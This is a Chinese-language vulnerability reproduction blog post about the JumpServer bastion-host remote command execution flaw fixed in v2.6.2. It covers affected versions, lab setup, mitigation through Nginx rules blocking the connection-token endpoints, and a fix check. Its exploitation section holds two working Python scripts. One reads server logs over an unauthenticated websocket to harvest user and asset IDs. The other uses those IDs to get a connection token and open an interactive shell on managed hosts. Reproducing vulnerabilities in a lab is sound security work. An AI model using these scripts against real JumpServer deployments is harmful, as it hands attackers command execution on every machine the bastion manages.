(环境搭建+复现) JumpServer 远程命令执行漏洞

本文详细介绍了JumpServer堡垒机的远程命令执行漏洞,该漏洞允许攻击者通过未授权接口获取敏感信息或执行任意命令。受影响的版本包括v2.6.2之前的多个版本。为修复此问题,用户需将JumpServer升级到安全版本或临时通过修改Nginx配置来屏蔽相关接口。此外,文中还提供了漏洞利用脚本和修复验证方法。
摘要由CSDN通过智能技术生成

0x00 简介

JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统。JumpServer 使用Python / Django 进行开发。

0x01 漏洞概述

2021年1月15日,JumpServer发布更新,修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,或者执行相关API操作控制其中所有机器,执行任意命令。建议相关用户尽快采取措施阻止漏洞攻击。

0x02 影响版本

  • JumpServer < v2.6.2
  • JumpServer < v2.5.4
  • JumpServer < v2.4.5
  • JumpServer = v1.5.9

0x03 环境搭建

JumpServer v2.6.1

1、安装脚本https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip,注意是Centos 7 系统,内存8G以上,cpu 2核以上。

或者执行官网脚本

curl -sSL https://github.com/jumpserver/jumpserver/releases/download/v2.6.1/quick_start.sh | bash

2、配置好之后,解压缩包,运行

./quick_start.sh

一路回车即可。

3、进入/opt/jumpserver-installer-v2.6.2,执行

./jmsctl.sh start

4、如果发现安装的版本不是 v2.6.1,执行

./jmsctl.sh upgrade v2.6.1

5、访问

http://192.168.217.159:8080

初始账号密码为 admin/admin。

6、更新用户列表里的用户名为root,后面ssh连接时的用户是root。

7、创建一个系统用户。

8、更新管理用户。

9、新建一个资产。

10、资产授权,否则控制台没有机器。

11、成功连接机器。

0x04 漏洞利用

1、运行脚本获取到 asset,system_user,user三个ID值。

import asyncio
import re

import websockets
import json

url = "/ws/ops/tasks/log/"

async def main_logic(t):
    print("#######start ws")
    async with websockets.connect(t) as client:
        await client.send(json.dumps({"task":"/opt/jumpserver/logs/gunicorn"}))
        while True:
            ret = json.loads(await client.recv())
            print(ret["message"], end="")

if __name__ == "__main__":
    host = "http://192.168.217.159:8080"
    target = host.replace("https://", "wss://").replace("http://", "ws://") + url
    print("target: %s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic(target))

2、将asset,system_user,user三个ID值放入下面脚本,Getshell。

import os
import asyncio
import aioconsole
import websockets
import requests
import json

url = "/api/v1/authentication/connection-token/?user-only=1"


def get_celery_task_log_path(task_id):
    task_id = str(task_id)
    rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log")
    path = os.path.join("/opt/jumpserver/", rel_path)
    return path


async def send_msg(websocket, _text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)


async def send_loop(ws, session_id):
    while True:
        cmdline = await aioconsole.ainput()
        await send_msg(
            ws,
            json.dumps(
                {"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"}
            ),
        )


async def recv_loop(ws):
    while True:
        recv_text = await ws.recv()
        ret = json.loads(recv_text)
        if ret.get("type", "TERMINAL_DATA"):
            await aioconsole.aprint(ret["data"], end="")


# 客户端主逻辑
async def main_logic():
    print("#######start ws")
    async with websockets.connect(target) as client:
        recv_text = await client.recv()
        print(f"{recv_text}")
        session_id = json.loads(recv_text)["id"]
        print("get ws id:" + session_id)
        print("###############")
        print("init ws")
        print("###############")
        inittext = json.dumps(
            {
                "id": session_id,
                "type": "TERMINAL_INIT",
                "data": '{"cols":164,"rows":17}',
            }
        )
        await send_msg(client, inittext)
        await asyncio.gather(recv_loop(client), send_loop(client, session_id))


if __name__ == "__main__":
    host = "http://192.168.217.159:8080"
    cmd = "whoami"
    if host[-1] == "/":
        host = host[:-1]
    print(host)
    data = {"user": "4e98541f-a9d9-4d4a-8e62-aab3a3dcc503", "asset": "d946e264-d139-4bb4-a375-be8c141587a0",
            "system_user": "2683a326-a6f4-41d3-8590-455fd3990202"}
    print("##################")
    print("get token url:%s" % (host + url,))
    print("##################")
    res = requests.post(host + url, json=data)
    token = res.json()["token"]
    print("token:%s", (token,))
    print("##################")
    target = (
        "ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token
    )
    print("target ws:%s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic())

0x05 修复方式

官方修复方式:

https://blog.fit2cloud.com/?p=1761

  1. 将JumpServer升级至安全版本;
  2. 临时修复方案:

修改 Nginx 配置文件屏蔽漏洞接口

/api/v1/authentication/connection-token/
/api/v1/users/connection-token/

Nginx 配置文件位置

# 社区老版本
/etc/nginx/conf.d/jumpserver.conf

# 企业老版本
jumpserver-release/nginx/http_server.conf
 
# 新版本在 
jumpserver-release/compose/config_static/http_server.conf

修改 Nginx 配置文件实例

# 保证在 /api 之前 和 / 之前
location /api/v1/authentication/connection-token/ {
   return 403;
}
 
location /api/v1/users/connection-token/ {
   return 403;
}
# 新增以上这些
 
location /api/ {
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header Host $host;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_pass http://core:8080;
  }

...

修改完成后重启 nginx

docker方式: 
docker restart jms_nginx

nginx方式:
systemctl restart nginx

修复验证

$ wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh 

# 使用方法 bash jms_bug_check.sh HOST 
$ bash jms_bug_check.sh demo.jumpserver.org
漏洞已修复

0x06 Tips:

JumpServer日志在/opt/jumpserver/core/logs 路径下。

websocket 进行日志读取时以下路径没有找到asset,system_user,user三个ID。

ws://192.168.217.159:8080/ws/ops/tasks/log/
{"task":"/opt/jumpserver/logs/jumpserver"}

看了一下发现可以通过gunicorn路径获取到。

ws://192.168.217.159:8080/ws/ops/tasks/log/
{"task":"/opt/jumpserver/logs/gunicorn"}

Referer:

1、https://saucer-man.com/information_security/520.html

2、https://mp.weixin.qq.com/s/qAHSe8bVrTlUAbHKUND3jQ

3、https://www.o2oxy.cn/2921.html

4、https://github.com/Skactor/jumpserver_rce/blob/main/rce.py

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值